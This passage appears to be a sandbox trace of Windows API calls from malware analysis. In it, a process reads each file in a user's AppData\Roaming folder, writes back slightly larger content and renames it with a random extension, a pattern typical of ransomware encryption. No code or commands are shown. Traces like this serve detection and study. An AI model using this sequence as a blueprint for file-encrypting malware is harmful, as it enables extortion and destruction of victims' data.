lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\MzZay9cJsQOsYyIg.gif.k9krsd" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\mzzay9cjsqosyyig.gif.k9krsd")) returned 1 [0148.659] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\P9yn.m4a", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\P9yn.m4a", lpFilePart=0x0) returned 0x2b [0148.659] SetErrorMode (uMode=0x1) returned 0x0 [0148.659] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\P9yn.m4a" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\p9yn.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.660] GetFileType (hFile=0x1d0) returned 0x1 [0148.660] SetErrorMode (uMode=0x0) returned 0x1 [0148.660] GetFileType (hFile=0x1d0) returned 0x1 [0148.660] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x8832 [0148.660] ReadFile (in: hFile=0x1d0, lpBuffer=0x28d4af0, nNumberOfBytesToRead=0x8832, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x28d4af0*, lpNumberOfBytesRead=0x21d418*=0x8832, lpOverlapped=0x0) returned 1 [0148.685] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\P9yn.m4a", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\P9yn.m4a", lpFilePart=0x0) returned 0x2b [0148.685] SetErrorMode (uMode=0x1) returned 0x0 [0148.685] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\P9yn.m4a" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\p9yn.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.686] GetFileType (hFile=0x1d0) returned 0x1 [0148.686] SetErrorMode (uMode=0x0) returned 0x1 [0148.686] GetFileType (hFile=0x1d0) returned 0x1 [0148.686] WriteFile (in: hFile=0x1d0, lpBuffer=0x29df250*, nNumberOfBytesToWrite=0x8840, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x29df250*, lpNumberOfBytesWritten=0x21d498*=0x8840, lpOverlapped=0x0) returned 1 [0148.688] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\P9yn.m4a", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\P9yn.m4a", lpFilePart=0x0) returned 0x2b [0148.688] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\P9yn.m4a.52fs1g", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\P9yn.m4a.52fs1g", lpFilePart=0x0) returned 0x32 [0148.689] SetErrorMode (uMode=0x1) returned 0x0 [0148.689] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\P9yn.m4a" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\p9yn.m4a"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x60c1d920, ftCreationTime.dwHighDateTime=0x1d8b397, ftLastAccessTime.dwLowDateTime=0x8b5eb210, ftLastAccessTime.dwHighDateTime=0x1d8bbea, ftLastWriteTime.dwLowDateTime=0x551de240, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x8840)) returned 1 [0148.689] SetErrorMode (uMode=0x0) returned 0x1 [0148.689] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\P9yn.m4a" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\p9yn.m4a"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\P9yn.m4a.52fs1g" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\p9yn.m4a.52fs1g")) returned 1 [0148.690] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\RWmilgBZ3oS-YZH.gif", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\RWmilgBZ3oS-YZH.gif", lpFilePart=0x0) returned 0x36 [0148.690] SetErrorMode (uMode=0x1) returned 0x0 [0148.690] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\RWmilgBZ3oS-YZH.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\rwmilgbz3os-yzh.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.690] GetFileType (hFile=0x1d0) returned 0x1 [0148.690] SetErrorMode (uMode=0x0) returned 0x1 [0148.690] GetFileType (hFile=0x1d0) returned 0x1 [0148.690] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x12081 [0148.690] ReadFile (in: hFile=0x1d0, lpBuffer=0x29e8920, nNumberOfBytesToRead=0x12081, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x29e8920*, lpNumberOfBytesRead=0x21d418*=0x12081, lpOverlapped=0x0) returned 1 [0148.759] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\RWmilgBZ3oS-YZH.gif", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\RWmilgBZ3oS-YZH.gif", lpFilePart=0x0) returned 0x36 [0148.759] SetErrorMode (uMode=0x1) returned 0x0 [0148.759] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\RWmilgBZ3oS-YZH.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\rwmilgbz3os-yzh.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.760] GetFileType (hFile=0x1d0) returned 0x1 [0148.760] SetErrorMode (uMode=0x0) returned 0x1 [0148.760] GetFileType (hFile=0x1d0) returned 0x1 [0148.760] WriteFile (in: hFile=0x1d0, lpBuffer=0x2910b50*, nNumberOfBytesToWrite=0x12090, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x2910b50*, lpNumberOfBytesWritten=0x21d498*=0x12090, lpOverlapped=0x0) returned 1 [0148.763] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\RWmilgBZ3oS-YZH.gif", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\RWmilgBZ3oS-YZH.gif", lpFilePart=0x0) returned 0x36 [0148.763] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\RWmilgBZ3oS-YZH.gif.i9r11n", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\RWmilgBZ3oS-YZH.gif.i9r11n", lpFilePart=0x0) returned 0x3d [0148.763] SetErrorMode (uMode=0x1) returned 0x0 [0148.763] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\RWmilgBZ3oS-YZH.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\rwmilgbz3os-yzh.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x21b3200, ftCreationTime.dwHighDateTime=0x1d8b6a7, ftLastAccessTime.dwLowDateTime=0x4376f120, ftLastAccessTime.dwHighDateTime=0x1d8bd88, ftLastWriteTime.dwLowDateTime=0x552767c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x12090)) returned 1 [0148.763] SetErrorMode (uMode=0x0) returned 0x1 [0148.763] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\RWmilgBZ3oS-YZH.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\rwmilgbz3os-yzh.gif"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\RWmilgBZ3oS-YZH.gif.i9r11n" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\rwmilgbz3os-yzh.gif.i9r11n")) returned 1 [0148.767] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\T-P mbe6.avi", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\T-P mbe6.avi", lpFilePart=0x0) returned 0x2f [0148.767] SetErrorMode (uMode=0x1) returned 0x0 [0148.767] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\T-P mbe6.avi" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\t-p mbe6.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.767] GetFileType (hFile=0x1d0) returned 0x1 [0148.767] SetErrorMode (uMode=0x0) returned 0x1 [0148.767] GetFileType (hFile=0x1d0) returned 0x1 [0148.767] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x13921 [0148.767] ReadFile (in: hFile=0x1d0, lpBuffer=0x2923ac8, nNumberOfBytesToRead=0x13921, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x2923ac8*, lpNumberOfBytesRead=0x21d418*=0x13921, lpOverlapped=0x0) returned 1 [0148.792] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\T-P mbe6.avi", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\T-P mbe6.avi", lpFilePart=0x0) returned 0x2f [0148.792] SetErrorMode (uMode=0x1) returned 0x0 [0148.792] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\T-P mbe6.avi" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\t-p mbe6.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.794] GetFileType (hFile=0x1d0) returned 0x1 [0148.794] SetErrorMode (uMode=0x0) returned 0x1 [0148.794] GetFileType (hFile=0x1d0) returned 0x1 [0148.794] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a3e480*, nNumberOfBytesToWrite=0x13930, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x2a3e480*, lpNumberOfBytesWritten=0x21d498*=0x13930, lpOverlapped=0x0) returned 1 [0148.806] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\T-P mbe6.avi", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\T-P mbe6.avi", lpFilePart=0x0) returned 0x2f [0148.806] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\T-P mbe6.avi.31l39p", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\T-P mbe6.avi.31l39p", lpFilePart=0x0) returned 0x36 [0148.806] SetErrorMode (uMode=0x1) returned 0x0 [0148.806] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\T-P mbe6.avi" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\t-p mbe6.avi"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb237acf0, ftCreationTime.dwHighDateTime=0x1d8b84f, ftLastAccessTime.dwLowDateTime=0x833c0de0, ftLastAccessTime.dwHighDateTime=0x1d8bf8b, ftLastWriteTime.dwLowDateTime=0x552e8be0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x13930)) returned 1 [0148.807] SetErrorMode (uMode=0x0) returned 0x1 [0148.807] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\T-P mbe6.avi" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\t-p mbe6.avi"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\T-P mbe6.avi.31l39p" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\t-p mbe6.avi.31l39p")) returned 1 [0148.808] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\UMsmhVgxA.m4a", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\UMsmhVgxA.m4a", lpFilePart=0x0) returned 0x30 [0148.808] SetErrorMode (uMode=0x1) returned 0x0 [0148.808] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\UMsmhVgxA.m4a" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\umsmhvgxa.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.808] GetFileType (hFile=0x1d0) returned 0x1 [0148.808] SetErrorMode (uMode=0x0) returned 0x1 [0148.808] GetFileType (hFile=0x1d0) returned 0x1 [0148.808] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x7b82 [0148.808] ReadFile (in: hFile=0x1d0, lpBuffer=0x2847a88, nNumberOfBytesToRead=0x7b82, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x2847a88*, lpNumberOfBytesRead=0x21d418*=0x7b82, lpOverlapped=0x0) returned 1 [0148.809] CloseHandle (hObject=0x1d0) returned 1 [0148.860] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\UMsmhVgxA.m4a", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\UMsmhVgxA.m4a", lpFilePart=0x0) returned 0x30 [0148.863] SetErrorMode (uMode=0x1) returned 0x0 [0148.863] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\UMsmhVgxA.m4a" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\umsmhvgxa.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.865] GetFileType (hFile=0x1d0) returned 0x1 [0148.865] SetErrorMode (uMode=0x0) returned 0x1 [0148.865] GetFileType (hFile=0x1d0) returned 0x1 [0148.865] WriteFile (in: hFile=0x1d0, lpBuffer=0x294e278*, nNumberOfBytesToWrite=0x7b90, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x294e278*, lpNumberOfBytesWritten=0x21d498*=0x7b90, lpOverlapped=0x0) returned 1 [0148.867] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\UMsmhVgxA.m4a", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\UMsmhVgxA.m4a", lpFilePart=0x0) returned 0x30 [0148.867] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\UMsmhVgxA.m4a.g8ya8w", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\UMsmhVgxA.m4a.g8ya8w", lpFilePart=0x0) returned 0x37 [0148.868] SetErrorMode (uMode=0x1) returned 0x0 [0148.868] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\UMsmhVgxA.m4a" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\umsmhvgxa.m4a"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5aefe350, ftCreationTime.dwHighDateTime=0x1d8b425, ftLastAccessTime.dwLowDateTime=0x682880a0, ftLastAccessTime.dwHighDateTime=0x1d8bac8, ftLastWriteTime.dwLowDateTime=0x55381160, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x7b90)) returned 1 [0148.868] SetErrorMode (uMode=0x0) returned 0x1 [0148.868] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\UMsmhVgxA.m4a" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\umsmhvgxa.m4a"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\UMsmhVgxA.m4a.g8ya8w" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\umsmhvgxa.m4a.g8ya8w")) returned 1 [0148.869] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\uN54mVh6IU.gif", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\uN54mVh6IU.gif", lpFilePart=0x0) returned 0x31 [0148.869] SetErrorMode (uMode=0x1) returned 0x0 [0148.869] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\uN54mVh6IU.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\un54mvh6iu.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.870] GetFileType (hFile=0x1d0) returned 0x1 [0148.870] SetErrorMode (uMode=0x0) returned 0x1 [0148.870] GetFileType (hFile=0x1d0) returned 0x1 [0148.870] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x138fb [0148.870] ReadFile (in: hFile=0x1d0, lpBuffer=0x2956cc0, nNumberOfBytesToRead=0x138fb, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x2956cc0*, lpNumberOfBytesRead=0x21d418*=0x138fb, lpOverlapped=0x0) returned 1 [0148.949] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\uN54mVh6IU.gif", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\uN54mVh6IU.gif", lpFilePart=0x0) returned 0x31 [0148.949] SetErrorMode (uMode=0x1) returned 0x0 [0148.949] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\uN54mVh6IU.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\un54mvh6iu.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.951] GetFileType (hFile=0x1d0) returned 0x1 [0148.951] SetErrorMode (uMode=0x0) returned 0x1 [0148.952] GetFileType (hFile=0x1d0) returned 0x1 [0148.952] WriteFile (in: hFile=0x1d0, lpBuffer=0x28715f0*, nNumberOfBytesToWrite=0x13900, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x28715f0*, lpNumberOfBytesWritten=0x21d498*=0x13900, lpOverlapped=0x0) returned 1 [0148.954] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\uN54mVh6IU.gif", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\uN54mVh6IU.gif", lpFilePart=0x0) returned 0x31 [0148.955] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\uN54mVh6IU.gif.ksncn2", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\uN54mVh6IU.gif.ksncn2", lpFilePart=0x0) returned 0x38 [0148.955] SetErrorMode (uMode=0x1) returned 0x0 [0148.955] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\uN54mVh6IU.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\un54mvh6iu.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x27914230, ftCreationTime.dwHighDateTime=0x1d8be28, ftLastAccessTime.dwLowDateTime=0x4d978ee0, ftLastAccessTime.dwHighDateTime=0x1d8bfdf, ftLastWriteTime.dwLowDateTime=0x554659a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x13900)) returned 1 [0148.955] SetErrorMode (uMode=0x0) returned 0x1 [0148.955] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\uN54mVh6IU.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\un54mvh6iu.gif"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\uN54mVh6IU.gif.ksncn2" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\un54mvh6iu.gif.ksncn2")) returned 1 [0148.956] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\WJt-fDxLG.pdf", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\WJt-fDxLG.pdf", lpFilePart=0x0) returned 0x30 [0148.957] SetErrorMode (uMode=0x1) returned 0x0 [0148.957] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\WJt-fDxLG.pdf" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\wjt-fdxlg.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.957] GetFileType (hFile=0x1d0) returned 0x1 [0148.957] SetErrorMode (uMode=0x0) returned 0x1 [0148.957] GetFileType (hFile=0x1d0) returned 0x1 [0148.957] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0xcecb [0148.957] ReadFile (in: hFile=0x1d0, lpBuffer=0x2885db8, nNumberOfBytesToRead=0xcecb, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x2885db8*, lpNumberOfBytesRead=0x21d418*=0xcecb, lpOverlapped=0x0) returned 1 [0148.988] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\WJt-fDxLG.pdf", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\WJt-fDxLG.pdf", lpFilePart=0x0) returned 0x30 [0148.988] SetErrorMode (uMode=0x1) returned 0x0 [0148.989] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\WJt-fDxLG.pdf" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\wjt-fdxlg.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.990] GetFileType (hFile=0x1d0) returned 0x1 [0148.990] SetErrorMode (uMode=0x0) returned 0x1 [0148.991] GetFileType (hFile=0x1d0) returned 0x1 [0148.991] WriteFile (in: hFile=0x1d0, lpBuffer=0x298c850*, nNumberOfBytesToWrite=0xced0, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x298c850*, lpNumberOfBytesWritten=0x21d498*=0xced0, lpOverlapped=0x0) returned 1 [0148.993] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\WJt-fDxLG.pdf", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\WJt-fDxLG.pdf", lpFilePart=0x0) returned 0x30 [0148.993] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\WJt-fDxLG.pdf.rvbyn5", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\WJt-fDxLG.pdf.rvbyn5", lpFilePart=0x0) returned 0x37 [0148.993] SetErrorMode (uMode=0x1) returned 0x0 [0148.993] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\WJt-fDxLG.pdf" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\wjt-fdxlg.pdf"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6b149480, ftCreationTime.dwHighDateTime=0x1d8b88d, ftLastAccessTime.dwLowDateTime=0xc305b2d0, ftLastAccessTime.dwHighDateTime=0x1d8c0af, ftLastWriteTime.dwLowDateTime=0x554b1c60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xced0)) returned 1 [0148.993] SetErrorMode (uMode=0x0) returned 0x1 [0148.993] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\WJt-fDxLG.pdf" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\wjt-fdxlg.pdf"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\WJt-fDxLG.pdf.rvbyn5" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\wjt-fdxlg.pdf.rvbyn5")) returned 1 [0148.994] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\xjejqh.png", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\xjejqh.png", lpFilePart=0x0) returned 0x2d [0148.994] SetErrorMode (uMode=0x1) returned 0x0 [0148.994] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\xjejqh.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\xjejqh.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.995] GetFileType (hFile=0x1d0) returned 0x1 [0148.995] SetErrorMode (uMode=0x0) returned 0x1 [0148.995] GetFileType (hFile=0x1d0) returned 0x1 [0148.995] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x16d0e [0148.995] ReadFile (in: hFile=0x1d0, lpBuffer=0x1288bd20, nNumberOfBytesToRead=0x16d0e, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x1288bd20*, 